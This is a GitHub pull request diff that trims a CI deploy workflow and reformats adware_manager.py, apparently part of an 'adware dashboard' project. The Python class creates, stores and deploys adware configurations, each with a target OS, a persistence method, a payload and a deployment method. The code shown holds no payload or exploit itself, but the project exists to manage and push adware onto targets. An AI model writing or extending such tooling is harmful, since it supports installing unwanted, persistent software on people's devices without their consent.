Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 0 additions & 8 deletions .github/workflows/deploy.yml
Original file line number Diff line number Diff line change
Expand Up @@ -58,14 +58,6 @@ jobs:
name: deployment-logs
path: logs/deployment.log

- name: Checkout repository
uses: actions/checkout@v3

- name: Upload artifacts
uses: actions/upload-artifact@v3
with:
name: build-artifact
path: build/
- name: Notify on CI/CD pipeline failure
if: failure()
run: |
Expand Down
2 changes: 1 addition & 1 deletion Dockerfile

Large diffs are not rendered by default.

346 changes: 175 additions & 171 deletions src/adware_dashboard/core/adware_manager.py
Original file line number Diff line number Diff line change
@@ -1,171 +1,175 @@
import logging
from typing import Dict, Any, List
from adware_dashboard.core.payload_manager import PayloadManager
from adware_dashboard.core.deployment_manager import DeploymentManager
from adware_dashboard.models import Adware, Payload, DeploymentMethod

class AdwareManager:
def __init__(self, logger: logging.Logger, payload_manager: PayloadManager, deployment_manager: DeploymentManager):
"""
Initializes the AdwareManager with a logger, payload manager, and deployment manager.

Args:
logger (logging.Logger): The logger instance to use.
payload_manager (PayloadManager): The payload manager instance.
deployment_manager (DeploymentManager): The deployment manager instance.
"""
self.logger = logger
self.payload_manager = payload_manager
self.deployment_manager = deployment_manager

def create_adware(self, name: str, description: str, target_os: str, persistence_method: str, payload_id: int, deployment_method_id: int, config: Dict[str, Any]) -> Adware:
"""
Creates a new adware configuration.

Args:
name (str): The name of the adware.
description (str): A description of the adware.
target_os (str): The target operating system.
persistence_method (str): The persistence method.
payload_id (int): The ID of the payload to use.
deployment_method_id (int): The ID of the deployment method to use.
config (Dict[str, Any]): Additional configuration parameters.

Returns:
Adware: The created adware object.
"""
payload = self.payload_manager.get_payload(payload_id)
if not payload:
self.logger.error(f"Payload with ID {payload_id} not found.")
raise ValueError(f"Payload with ID {payload_id} not found.")

deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
if not deployment_method:
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")

adware = Adware(
name=name,
description=description,
target_os=target_os,
persistence_method=persistence_method,
payload=payload,
deployment_method=deployment_method,
config=config
)
adware.save()
self.logger.info(f"Adware '{name}' created successfully.")
return adware

def get_adware(self, adware_id: int) -> Adware:
"""
Retrieves an adware configuration by its ID.

Args:
adware_id (int): The ID of the adware to retrieve.

Returns:
Adware: The adware object, or None if not found.
"""
adware = Adware.get_or_none(Adware.id == adware_id)
if not adware:
self.logger.warning(f"Adware with ID {adware_id} not found.")
return adware

def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
"""
Updates an existing adware configuration.

Args:
adware_id (int): The ID of the adware to update.
name (str, optional): The new name of the adware.
description (str, optional): The new description of the adware.
target_os (str, optional): The new target operating system.
persistence_method (str, optional): The new persistence method.
payload_id (int, optional): The new ID of the payload to use.
deployment_method_id (int, optional): The new ID of the deployment method to use.
config (Dict[str, Any], optional): Additional configuration parameters.

Returns:
Adware: The updated adware object, or None if not found.
"""
adware = self.get_adware(adware_id)
if not adware:
return None

if name:
adware.name = name
if description:
adware.description = description
if target_os:
adware.target_os = target_os
if persistence_method:
adware.persistence_method = persistence_method
if payload_id:
payload = self.payload_manager.get_payload(payload_id)
if not payload:
self.logger.error(f"Payload with ID {payload_id} not found.")
raise ValueError(f"Payload with ID {payload_id} not found.")
adware.payload = payload
if deployment_method_id:
deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
if not deployment_method:
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
adware.deployment_method = deployment_method
if config:
adware.config = config

adware.save()
self.logger.info(f"Adware '{adware.name}' updated successfully.")
return adware

def delete_adware(self, adware_id: int) -> bool:
"""
Deletes an adware configuration by its ID.

Args:
adware_id (int): The ID of the adware to delete.

Returns:
bool: True if the adware was deleted, False otherwise.
"""
adware = self.get_adware(adware_id)
if not adware:
return False

adware.delete_instance()
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
return True

def list_adware(self) -> List[Adware]:
"""
Lists all adware configurations.

Returns:
List[Adware]: A list of all adware objects.
"""
adware_list = list(Adware.select())
return adware_list

def deploy_adware(self, adware_id: int) -> bool:
"""
Deploys an adware configuration.

Args:
adware_id (int): The ID of the adware to deploy.

Returns:
bool: True if the adware was deployed, False otherwise.
"""
adware = self.get_adware(adware_id)
if not adware:
return False

try:
self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
self.logger.info(f"Adware '{adware.name}' deployed successfully.")
return True
except Exception as e:
self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}")
return False
import logging
from typing import Dict, Any, List
from adware_dashboard.core.payload_manager import PayloadManager
from adware_dashboard.core.deployment_manager import DeploymentManager
from adware_dashboard.models import Adware, Payload, DeploymentMethod

class AdwareManager:
def __init__(self, logger: logging.Logger, payload_manager: PayloadManager, deployment_manager: DeploymentManager):
"""
Initializes the AdwareManager with a logger, payload manager, and deployment manager.

Args:
logger (logging.Logger): The logger instance to use.
payload_manager (PayloadManager): The payload manager instance.
deployment_manager (DeploymentManager): The deployment manager instance.
"""
self.logger = logger
self.payload_manager = payload_manager
self.deployment_manager = deployment_manager

def create_adware(self, name: str, description: str, target_os: str, persistence_method: str, payload_id: int, deployment_method_id: int, config: Dict[str, Any]) -> Adware:
"""
Creates a new adware configuration.

Args:
name (str): The name of the adware.
description (str): A description of the adware.
target_os (str): The target operating system.
persistence_method (str): The persistence method.
payload_id (int): The ID of the payload to use.
deployment_method_id (int): The ID of the deployment method to use.
config (Dict[str, Any]): Additional configuration parameters.

Returns:
Adware: The created adware object.
"""
try:
payload = self.payload_manager.get_payload(payload_id)
if not payload:
self.logger.error(f"Payload with ID {payload_id} not found.")
raise ValueError(f"Payload with ID {payload_id} not found.")

deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
if not deployment_method:
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")

adware = Adware(
name=name,
description=description,
target_os=target_os,
persistence_method=persistence_method,
payload=payload,
deployment_method=deployment_method,
config=config
)
adware.save()
self.logger.info(f"Adware '{name}' created successfully.")
return adware
except ValueError as e:
self.logger.error(f"Error creating adware: {str(e)}")
raise

def get_adware(self, adware_id: int) -> Adware:
"""
Retrieves an adware configuration by its ID.

Args:
adware_id (int): The ID of the adware to retrieve.

Returns:
Adware: The adware object, or None if not found.
"""
adware = Adware.get_or_none(Adware.id == adware_id)
if not adware:
self.logger.warning(f"Adware with ID {adware_id} not found.")
return adware

def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
"""
Updates an existing adware configuration.

Args:
adware_id (int): The ID of the adware to update.
name (str, optional): The new name of the adware.
description (str, optional): The new description of the adware.
target_os (str, optional): The new target operating system.
persistence_method (str, optional): The new persistence method.
payload_id (int, optional): The new ID of the payload to use.
deployment_method_id (int, optional): The new ID of the deployment method to use.
config (Dict[str, Any], optional): Additional configuration parameters.

Returns:
Adware: The updated adware object, or None if not found.
"""
adware = self.get_adware(adware_id)
if not adware:
return None

if name:
adware.name = name
if description:
adware.description = description
if target_os:
adware.target_os = target_os
if persistence_method:
adware.persistence_method = persistence_method
if payload_id:
payload = self.payload_manager.get_payload(payload_id)
if not payload:
self.logger.error(f"Payload with ID {payload_id} not found.")
raise ValueError(f"Payload with ID {payload_id} not found.")
adware.payload = payload
if deployment_method_id:
deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
if not deployment_method:
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
adware.deployment_method = deployment_method
if config:
adware.config = config

adware.save()
self.logger.info(f"Adware '{adware.name}' updated successfully.")
return adware

def delete_adware(self, adware_id: int) -> bool:
"""
Deletes an adware configuration by its ID.

Args:
adware_id (int): The ID of the adware to delete.

Returns:
bool: True if the adware was deleted, False otherwise.
"""
adware = self.get_adware(adware_id)
if not adware:
return False

adware.delete_instance()
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
return True

def list_adware(self) -> List[Adware]:
"""
Lists all adware configurations.

Returns:
List[Adware]: A list of all adware objects.
"""
adware_list = list(Adware.select())
return adware_list

def deploy_adware(self, adware_id: int) -> bool:
"""
Deploys an adware configuration.

Args:
adware_id (int): The ID of the adware to deploy.

Returns:
bool: True if the adware was deployed, False otherwise.
"""
adware = self.get_adware(adware_id)
if not adware:
return False

try:
self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
self.logger.info(f"Adware '{adware.name}' deployed successfully.")
return True
except Exception as e:
self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}")
return False
Loading
Loading